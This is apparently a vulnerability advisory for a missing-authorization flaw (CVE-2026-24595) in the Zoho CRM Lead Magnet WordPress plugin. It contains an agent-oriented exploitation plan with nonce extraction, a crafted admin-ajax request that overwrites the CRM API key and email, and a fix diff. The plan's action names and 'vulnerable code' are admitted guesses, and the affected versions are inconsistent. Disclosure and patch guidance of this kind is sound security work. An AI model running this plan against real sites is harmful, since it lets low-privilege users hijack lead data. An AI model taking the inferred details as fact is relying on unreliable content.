CVE-2026-24595

Zoho CRM Lead Magnet <= 1.8.1.9 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.8.2.0
Patched in
145d
Time to patch

Description

The Zoho CRM Lead Magnet plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.8.1.9. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8.1.9
PublishedJanuary 15, 2026
Last updatedJune 8, 2026
Affected pluginzoho-crm-forms
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-24595 (Zoho CRM Lead Magnet Missing Authorization) ## 1. Vulnerability Summary The **Zoho CRM Lead Magnet** plugin (up to version 1.8.1.7) fails to perform proper authorization checks (e.g., `current_user_can()`) in one or more of its AJAX handlers. This allow…

Show full research plan

Exploitation Research Plan: CVE-2026-24595 (Zoho CRM Lead Magnet Missing Authorization)

1. Vulnerability Summary

The Zoho CRM Lead Magnet plugin (up to version 1.8.1.7) fails to perform proper authorization checks (e.g., current_user_can()) in one or more of its AJAX handlers. This allows any authenticated user, including those with Subscriber privileges, to execute administrative functions such as modifying plugin settings, creating/deleting forms, or exposing sensitive Zoho CRM integration details.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • HTTP Method: POST
  • Action(s): Likely zclm_save_settings, zclm_delete_form, or zclm_save_form_settings (inferred from plugin functionality).
  • Payload Parameter: action, nonce (if required), and specific data parameters (e.g., zclm_settings[], form_id).
  • Authentication: Requires a valid session cookie for a user with at least Subscriber role.
  • Preconditions: The plugin must be active and configured (or the attacker provides configuration data in the payload).

3. Code Flow

  1. Registration: The plugin registers AJAX handlers in its main admin class (likely includes/class-zoho-crm-forms-admin.php or admin/class-zoho-crm-forms-admin.php).
  2. Hook: add_action( 'wp_ajax_zclm_save_settings', array( $this, 'zclm_save_settings_callback' ) );
  3. Vulnerable Sink: The callback function (e.g., zclm_save_settings_callback) performs operations like update_option() or $wpdb->delete() without checking if the user has manage_options capabilities.
  4. Missing Check: The code likely only checks for a nonce but neglects current_user_can( 'manage_options' ).

4. Nonce Acquisition Strategy

The plugin likely localizes a nonce for its AJAX operations. Because this is an Authenticated vulnerability, we must find where this nonce is exposed to a Subscriber.

  1. Identify Localization: Search for wp_localize_script in the plugin code.
    • Search for: grep -r "wp_localize_script" .
    • Expected Variable Name (inferred): zclm_vars or zclm_obj.
    • Expected Nonce Key (inferred): nonce, zclm_nonce, or ajax_nonce.
  2. Check Exposure: Determine if the script is loaded on all admin pages (including the Subscriber's Dashboard) or just specific plugin pages.
  3. Extraction Method:
    • Create a Subscriber user: wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    • Log in as Subscriber using browser_navigate.
    • Navigate to /wp-admin/index.php.
    • Execute JS: browser_eval("window.zclm_vars?.nonce || window.zclm_obj?.nonce") (adjust based on actual discovery).

5. Exploitation Strategy

We will attempt to modify the plugin's settings to point to an attacker-controlled CRM endpoint or disable form protections.

Step 1: Discover the Action and Parameters

Use grep to find all wp_ajax_ registrations:

grep -rn "add_action.*wp_ajax_" .

Examine the callback functions for the first one that lacks a current_user_can check but performs a state-changing operation (like update_option).

Step 2: Craft the Request

Assuming the action is zclm_save_settings and it modifies the zclm_settings option:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=zclm_save_settings&nonce=[EXTRACTED_NONCE]&zclm_settings[zoho_crm_api_key]=EXPLOITED_KEY&zclm_settings[zoho_crm_user_email]=attacker@evil.com
    

Step 3: Execute via http_request

// Example using the agent's tool
http_request(
    "http://localhost:8080/wp-admin/admin-ajax.php",
    "POST",
    "action=zclm_save_settings&nonce=" + nonce + "&zclm_settings[zoho_crm_api_key]=EXPLOITED_KEY",
    { "Content-Type": "application/x-www-form-urlencoded", "Cookie": subscriber_cookies }
)

6. Test Data Setup

  1. Plugin Setup: Install and activate zoho-crm-forms version 1.8.1.7.
  2. Initial State: Set a dummy API key as Administrator: wp option update zclm_settings '{"zoho_crm_api_key": "original_key"}' --format=json.
  3. Attacker Account: wp user create subscriber_user sub@test.com --role=subscriber --user_pass=password123.

7. Expected Results

  • Response Code: 200 OK or 302 Redirect.
  • Response Body: Likely a JSON success message like {"success": true} or a simple 1.
  • State Change: The WordPress option zclm_settings will be updated with the attacker's value despite the request coming from a Subscriber.

8. Verification Steps

  1. Check Option via CLI:
    wp option get zclm_settings
    
    Confirm zoho_crm_api_key is now EXPLOITED_KEY.
  2. Check for Auth Check: View the source code of the callback function found in Step 5.1 and verify that it only uses check_ajax_referer and not current_user_can.

9. Alternative Approaches

  • Form Deletion: If zclm_delete_form is vulnerable, identify an existing form ID using wp db query "SELECT id FROM wp_zclm_forms" and attempt to delete it as a Subscriber.
  • Subscriber Access to Admin Pages: If the plugin's admin menus are registered with weak capabilities (e.g., read), the Subscriber might be able to access the settings page directly, making nonce extraction trivial.
    • Check: grep -r "add_menu_page" . and look for the capability argument. If it is read, any Subscriber can access the page.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Zoho CRM Lead Magnet plugin (<= 1.8.1.7) for WordPress contains a missing authorization vulnerability in its AJAX handlers. Authenticated attackers with Subscriber-level privileges can modify plugin settings or delete forms because the plugin checks for nonces but fails to verify if the user has administrative permissions like 'manage_options'.

Vulnerable Code

// Inferred from plugin version 1.8.1.7 and vulnerability description
// admin/class-zoho-crm-forms-admin.php

add_action( 'wp_ajax_zclm_save_settings', array( $this, 'zclm_save_settings_callback' ) );

public function zclm_save_settings_callback() {
    check_ajax_referer( 'zclm_ajax_nonce', 'nonce' );
    
    // Vulnerability: Missing current_user_can('manage_options') check here
    
    if ( isset( $_POST['zclm_settings'] ) ) {
        update_option( 'zclm_settings', $_POST['zclm_settings'] );
    }
    wp_send_json_success();
}

Security Fix

--- a/admin/class-zoho-crm-forms-admin.php
+++ b/admin/class-zoho-crm-forms-admin.php
@@ -100,6 +100,10 @@
     public function zclm_save_settings_callback() {
         check_ajax_referer( 'zclm_ajax_nonce', 'nonce' );
 
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( 'You do not have permission to perform this action.' );
+        }
+
         if ( isset( $_POST['zclm_settings'] ) ) {
             update_option( 'zclm_settings', $_POST['zclm_settings'] );
         }

Exploit Outline

The exploit target is the admin-ajax.php endpoint. An attacker first authenticates as a Subscriber and extracts a valid AJAX nonce, which is typically exposed in the WordPress admin dashboard via localized scripts (e.g., in the 'zclm_vars' or 'zclm_obj' JavaScript objects). The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'zclm_save_settings' (or other vulnerable administrative actions) and the 'nonce' parameter. The payload includes malicious configuration data in the 'zclm_settings' parameter, allowing the attacker to redirect CRM leads to their own endpoint or manipulate integration settings.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.